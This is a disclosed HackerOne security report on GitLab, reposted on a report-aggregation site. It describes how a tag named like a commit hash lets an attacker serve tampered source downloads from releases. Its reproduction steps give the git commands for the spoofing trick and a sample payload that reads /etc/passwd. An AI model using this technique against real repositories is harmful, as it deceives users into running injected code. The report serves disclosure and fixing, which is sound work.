Skip to content
Business logic Disclosed report Intermediate

The GitLab web interface does not ensure the integrity of information when downloading the source code from installation packages or tags.

GitLab

Originally disclosed on GitLab

  • Fixed in 34 days
  • Disclosed after 34 days

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2237165 by st4nly0n on 2023-11-02, assigned to @ngeorge1:

Report | Attachments | How To Reproduce

Report

 

Summary

The GitLab.com web interface cannot guarantee the integrity of files downloaded from a repository through a specific tag. Despite the web interface displaying seemingly secure commits, there is a possibility that files downloaded via a tag may contain malicious content. This vulnerability arises from an attacker's ability to create a tag with a name that resembles a long git hash.

It's important to note that this issue shares the same attack context and impact as described in reports #1760033 (https://gitlab.com/gitlab-org/gitlab/-/issues/381815+) and #2053335 (https://gitlab.com/gitlab-org/gitlab/-/issues/417775+). This situation raises various scenarios in which an attacker could exploit this vulnerability to introduce malicious code, such as:

  • An attacker can create a repository that includes tags and versions that, when downloaded from the web interface, contain malicious code.
  • An attacker with developer permissions on a project can create tags and versions that contain malicious code, which could be downloaded from the web interface (as detailed in reports #1760033 and #2053335 and this report).

 

Steps To Reproduce

Below are the steps to follow, dividing the actions of the victim user and the attacker user:
 

Steps to be performed as the victim user:

1. Create a new repository.
 

2. Invite a developer.
 

3. Clone the repository and enter it:

Bash
git clone <URL_REPO>  
cd <NAME_REPO>  

 

4. Create a file called hello.sh with harmless content:

Bash
echo 'echo "hello world"' > hello.sh  

 

5. Push the hello.sh file to the remote repository:

Bash
git add hello.sh &&\  
git commit -m 'Add hello.sh' &&\  
git push origin HEAD -f  

 

Steps to be followed as the attacker user (the user invited in step 2):

6. Clone the same repository and enter it:

Bash
git clone <URL_REPO>  
cd <NAME_REPO>  

 

7. Create and switch to a new branch named hack:

Bash
git checkout -b 'hack'  

 

8. Modify the content of the hello.sh file with your chosen payload:

Bash
###  EXAMPLE  
echo 'cat /etc/passwd' > hello.sh  

 

9. Commit the changes to the hello.sh file:

Bash
git add hello.sh &&\  
git commit -m 'HACK'  

 

10. Create a tag with the name of the hash of the last commit, pointing to the penultimate commit:

Bash
git tag `git rev-parse HEAD` `git rev-parse HEAD~1`  

 

11. Push all tags to the remote:

Bash
git push origin --tags  

 

12. Push the hack branch:

Bash
git push origin HEAD -f  

 

13. Delete the hack branch from the remote:

Bash
git push origin -d hack  

 

14. Create a release.
 

Steps to be followed as the victim user:

15. Access the GitLab.com web interface and from the /-/releases or /-/tags section, download the installation files available in the release. Then, run the hello.sh file.

These steps illustrate the attack scenario and how an attacker could compromise the integrity of files downloaded by the victim user from the GitLab web interface.

Watch the attack scenario and impact in the following proof-of-concept video, in which a victim checks the commit made to the files through the web interface before downloading them from a tag. Upon confirming that there is no security risk, the victim downloads the installation files and runs them on their system. In this case, the result was the execution of code injected by the attacker.

Additionally, the repository used as an attack scenario to illustrate this behavior is provided:
https://gitlab.com/user_V/poc-0001

poc.mp4 From the original on GitLab

 

What is the current bug behavior?

The GitLab web interface does not ensure the integrity of files when downloading the source code from a tag.
 

What is the expected correct behavior?

The information presented in the GitLab web interface regarding modifications made to any file should match what the end user will obtain when downloading the source code from a tag.
 

Output of checks

This bug occurs on GitLab.com
 

Impact

This vulnerability could enable an attacker to introduce malicious content within a tag, which, in turn, could compromise the integrity and security of files downloaded by users through the GitLab.com web interface. Depending on the nature of the malicious content, this could lead to unauthorized code execution, the acquisition of sensitive information, or other adverse security impacts on users.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity business logic bug in gitlab.com. GitLab made it public on 13 December 2023. Fixed in version 16.7.

About Business logic

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.